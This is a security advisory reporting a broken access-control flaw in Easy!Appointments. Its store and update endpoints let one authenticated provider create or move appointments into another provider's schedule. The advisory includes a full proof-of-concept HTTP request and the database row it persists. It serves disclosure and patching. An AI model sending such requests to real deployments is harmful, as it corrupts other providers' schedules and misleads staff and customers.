Vulnerability GHSA-w8xc-8g92-v77h

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.

Proof of Concept

Attacker: Provider with session ID 4 Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.

Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

• Inject fake appointments into a colleague's schedule causing confusion and double-bookings
• Move their own appointments into another provider's calendar to hide or offload them
• Disrupt scheduling integrity for staff and customers
• Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Reporter

Yash Shendge (ashrexon) 2026-05-25